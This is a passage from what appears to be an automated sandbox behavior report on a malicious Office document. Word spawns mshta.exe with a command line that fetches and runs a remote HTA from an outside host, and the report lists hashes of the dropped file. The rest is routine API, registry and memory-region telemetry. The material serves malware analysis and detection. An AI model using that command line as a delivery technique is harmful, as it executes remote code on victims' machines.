Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551596, new_long = 262144 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 791, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 791, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 791, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 791, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Module Load module_name = WININET.dll, base_address = 0x7feff5e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\wininet.dll, function = InternetUnlockRequestFile, address_out = 0x7feff5f70f4 True 1
Fn
Module Get Handle module_name = mscoree.dll, base_address = 0x0 False 1
Fn
Thread 0xbe0
(Host: 4, Network: 0)
+
Category Operation Information Success Count Logfile
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE False 1
Fn
Thread 0x84c
(Host: 4, Network: 0)
+
Category Operation Information Success Count Logfile
Module Load module_name = mshtml.dll, base_address = 0x7fee0880000 True 1
Fn
System Get Time type = Ticks, time = 131134 True 1
Fn
System Get Time type = Ticks, time = 131196 True 2
Fn
System Get Time type = Ticks, time = 151367 True 1
Fn
Process #5: mshta.exe
(Host: 647, Network: 0)
+
Information Value
ID #5
File Name c:\windows\system32\mshta.exe
Command Line "C:\Windows\System32\mshta.exe" http://www.samyrai777m.p-host.in/t/t.php?thread=0
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:01:02, Reason: Child Process
Unmonitor End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration 00:01:34
OS Process Information
+
Information Value
PID 0xbc8
Parent PID 0x9b0 (c:\program files\microsoft office\root\office16\winword.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Groups
  • YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BCC
0x BDC
0x BEC
0x BF0
0x BF4
0x BF8
0x 80C
0x 81C
0x 83C
0x 864
0x 7B0
0x 518
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x00026fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000050000 0x00050000 0x0014ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x00150000 0x001b6fff Memory Mapped File Readable False False False
  • Region Actions
imm32.dll 0x001c0000 0x001e8fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000001c0000 0x001c0000 0x001c1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
mshta.exe.mui 0x001d0000 0x001d0fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000001e0000 0x001e0000 0x001e0fff Private Memory Readable, Writable True True False
private_0x00000000001f0000 0x001f0000 0x001f0fff Private Memory Readable, Writable True True False
pagefile_0x0000000000200000 0x00200000 0x00200fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000210000 0x00210000 0x00210fff Private Memory Readable, Writable True True False
pagefile_0x0000000000220000 0x00220000 0x00220fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000230000 0x00230000 0x0023ffff Private Memory Readable, Writable True True False
rpcss.dll 0x00240000 0x002bcfff Memory Mapped File Readable False False False
  • Region Actions
index.dat 0x00240000 0x0024bfff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00250000 0x00257fff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00260000 0x0026ffff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00270000 0x002affff Memory Mapped File Readable, Writable True False False
  • Region Actions
pagefile_0x00000000002b0000 0x002b0000 0x002b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000002c0000 0x002c0000 0x002c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000002d0000 0x002d0000 0x003cffff Private Memory Readable, Writable True True False
private_0x00000000003d0000 0x003d0000 0x004cffff Private Memory Readable, Writable True True False
private_0x00000000004d0000 0x004d0000 0x005cffff Private Memory Readable, Writable True True False
windowsshell.manifest 0x005d0000 0x005d0fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000005d0000 0x005d0000 0x005d0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000005e0000 0x005e0000 0x005e1fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000005f0000 0x005f0000 0x005f1fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000600000 0x00600000 0x00601fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000610000 0x00610000 0x00610fff Private Memory Readable, Writable True True False
pagefile_0x0000000000610000 0x00610000 0x00610fff Pagefile Backed Memory Readable True False False
  • Region Actions
oleaccrc.dll 0x00620000 0x00620fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000630000 0x00630000 0x0063ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000640000 0x00640000 0x007c7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000007d0000 0x007d0000 0x00950fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000960000 0x00960000 0x01d5ffff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001d60000 0x01d60000 0x01e3efff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001e40000 0x01e40000 0x01e40fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000001e40000 0x01e40000 0x01e41fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001e60000 0x01e60000 0x01f5ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001f60000 0x01f60000 0x020bffff Private Memory Readable, Writable True True False
private_0x0000000001f60000 0x01f60000 0x01ffffff Private Memory Readable, Writable True True False
c_20127.nls 0x01f60000 0x01f70fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000001f80000 0x01f80000 0x01ffffff Private Memory Readable, Writable True True False
private_0x0000000002000000 0x02000000 0x0202ffff Private Memory Readable, Writable True True False
private_0x0000000002020000 0x02020000 0x0202ffff Private Memory Readable, Writable True True False
private_0x0000000002040000 0x02040000 0x020bffff Private Memory Readable, Writable True True False
sortdefault.nls 0x020c0000 0x0238efff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000002390000 0x02390000 0x026d2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000026e0000 0x026e0000 0x0286ffff Private Memory Readable, Writable True True False
private_0x00000000026e0000 0x026e0000 0x0274ffff Private Memory Readable, Writable True True False
private_0x00000000026e0000 0x026e0000 0x0271ffff Private Memory Readable, Writable True True False
private_0x00000000027f0000 0x027f0000 0x0286ffff Private Memory Readable, Writable True True False
private_0x00000000028b0000 0x028b0000 0x029affff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000029b0000 0x029b0000 0x02aaffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002ab0000 0x02ab0000 0x02c5ffff Private Memory Readable, Writable True True False
private_0x0000000002af0000 0x02af0000 0x02beffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002c50000 0x02c50000 0x02c5ffff Private Memory Readable, Writable True True False
private_0x0000000002c60000 0x02c60000 0x02d5ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002d80000 0x02d80000 0x02e7ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002ee0000 0x02ee0000 0x02f5ffff Private Memory Readable, Writable True True False
private_0x0000000003050000 0x03050000 0x0314ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000031a0000 0x031a0000 0x0329ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000032d0000 0x032d0000 0x033cffff Private Memory Readable, Writable True True False
private_0x00000000033d0000 0x033d0000 0x034cffff Private Memory Readable, Writable True True False
pagefile_0x00000000034d0000 0x034d0000 0x038c2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000003a50000 0x03a50000 0x03b4ffff Private Memory Readable, Writable True True False
private_0x0000000003b50000 0x03b50000 0x03c4ffff Private Memory Readable, Writable True True False
user32.dll 0x775e0000 0x776d9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x776e0000 0x777fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x77800000 0x779a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
normaliz.dll 0x779c0000 0x779c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x779d0000 0x779d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
mshta.exe 0xff9d0000 0xff9dffff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mshtml.dll 0x7fee0880000 0x7fee1117fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
oleacc.dll 0x7fef22f0000 0x7fef2343fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ieframe.dll 0x7fef2350000 0x7fef2f06fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msimtf.dll 0x7fef3140000 0x7fef314dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasman.dll 0x7fef3160000 0x7fef317bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasapi32.dll 0x7fef3180000 0x7fef31e1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
npmproxy.dll 0x7fef3c70000 0x7fef3c7bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasadhlp.dll 0x7fef46d0000 0x7fef46d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msls31.dll 0x7fef6080000 0x7fef60bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sensapi.dll 0x7fef6630000 0x7fef6638fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netprofm.dll 0x7fef6660000 0x7fef66d3fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rtutils.dll 0x7fefadc0000 0x7fefadd0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winrnr.dll 0x7fefaf90000 0x7fefaf9afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pnrpnsp.dll 0x7fefafa0000 0x7fefafb8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
napinsp.dll 0x7fefafc0000 0x7fefafd4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dwmapi.dll 0x7fefb180000 0x7fefb197fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x7fefb560000 0x7fefb5b5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dhcpcsvc.dll 0x7fefbc30000 0x7fefbc47fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dhcpcsvc6.dll 0x7fefbc50000 0x7fefbc60fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fwpuclnt.dll 0x7fefbc80000 0x7fefbcd2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winnsi.dll 0x7fefbdd0000 0x7fefbddafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
iphlpapi.dll 0x7fefbde0000 0x7fefbe06fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nlaapi.dll 0x7fefbf70000 0x7fefbf84fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x7fefc060000 0x7fefc253fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x7fefc740000 0x7fefc76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x7fefc910000 0x7fefc91bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wshtcpip.dll 0x7fefc9e0000 0x7fefc9e6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x7fefcd40000 0x7fefcd86fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dnsapi.dll 0x7fefce60000 0x7fefcebafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wship6.dll 0x7fefcfd0000 0x7fefcfd6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mswsock.dll 0x7fefcfe0000 0x7fefd034fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x7fefd040000 0x7fefd056fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x7fefd610000 0x7fefd634fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x7fefd640000 0x7fefd64efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sxs.dll 0x7fefd650000 0x7fefd6e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x7fefd730000 0x7fefd743fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x7fefd750000 0x7fefd75efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msasn1.dll 0x7fefd7f0000 0x7fefd7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
crypt32.dll 0x7fefd840000 0x7fefd9a6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x7fefd9d0000 0x7fefda3afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x7fefdb40000 0x7fefdb6dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x7fefdd50000 0x7fefddeefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x7fefde70000 0x7fefdf46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x7fefdf50000 0x7fefdf5dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
iertutil.dll 0x7fefdf60000 0x7fefe1b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x7fefe1c0000 0x7fefe3c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
urlmon.dll 0x7fefe3d0000 0x7fefe547fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x7fefe550000 0x7fefe5e8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x7fefe5f0000 0x7fefe63cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x7fefe640000 0x7fefe76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x7fefe770000 0x7fefe7e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x7fefe7f0000 0x7fefe841fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x7fefe850000 0x7feff5d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wininet.dll 0x7feff5e0000 0x7feff709fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x7feff710000 0x7feff818fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x7feff8c0000 0x7feff8defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x7feff8e0000 0x7feff9bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x7feff9c0000 0x7feff9c7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x7feff9d0000 0x7feffa36fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x7feffa40000 0x7feffb08fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x7feffb20000 0x7feffb20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000007fffffa4000 0x7fffffa4000 0x7fffffa5fff Private Memory Readable, Writable True True False
private_0x000007fffffa6000 0x7fffffa6000 0x7fffffa7fff Private Memory Readable, Writable True True False
private_0x000007fffffa8000 0x7fffffa8000 0x7fffffa9fff Private Memory Readable, Writable True True False
private_0x000007fffffaa000 0x7fffffaa000 0x7fffffabfff Private Memory Readable, Writable True True False
private_0x000007fffffac000 0x7fffffac000 0x7fffffadfff Private Memory Readable, Writable True True False
private_0x000007fffffae000 0x7fffffae000 0x7fffffaffff Private Memory Readable, Writable True True False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000007fffffd3000 0x7fffffd3000 0x7fffffd3fff Private Memory Readable, Writable True True False
private_0x000007fffffd4000 0x7fffffd4000 0x7fffffd5fff Private Memory Readable, Writable True True False
private_0x000007fffffd6000 0x7fffffd6000 0x7fffffd7fff Private Memory Readable, Writable True True False
private_0x000007fffffd8000 0x7fffffd8000 0x7fffffd9fff Private Memory Readable, Writable True True False
private_0x000007fffffda000 0x7fffffda000 0x7fffffdbfff Private Memory Readable, Writable True True False
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffddfff Private Memory Readable, Writable True True False
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory Readable, Writable True True False
For performance reasons, the remaining 19 entries are omitted.
The remaining entries can be found in flog.txt.
Modified Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\aetadzjz\appdata\local\microsoft\windows\temporary internet files\content.ie5\x9ohk109\t[1].hta 3.24 KB (3313 bytes) MD5: 13b131d98fea2526196b20496ec68b0a
SHA1: 1284d7400f30f5a2c409f3f53fcf34b30c32268d
SHA256: ae09b5dc38c85387a861cb4aee8b08ef6c7b216f21ba1bd06c9d1b3adab46a75 		False
Threads
Thread 0xbcc
(Host: 382, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2017-10-24 17:37:59 (UTC) True 1
Fn
System Get Time type = Ticks, time = 127296 True 1
Fn
Module Get Handle module_name = c:\windows\system32\mshta.exe, base_address = 0xff9d0000 True 1
Fn
System Get Info type = Operating System False 1
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Open filename = STD_ERROR_HANDLE True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x776e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = HeapSetInformation, address_out = 0x776fc4a0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32, data = C:\Windows\System32\mshtml.dll, type = REG_SZ True 1
Fn
Module Load module_name = C:\Windows\System32\mshtml.dll, base_address = 0x7fee0880000 True 1
Fn
System Get Time type = System Time, time = 2017-10-24 17:37:59 (UTC) True 1
Fn
System Get Time type = Ticks, time = 127546 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245 False 1
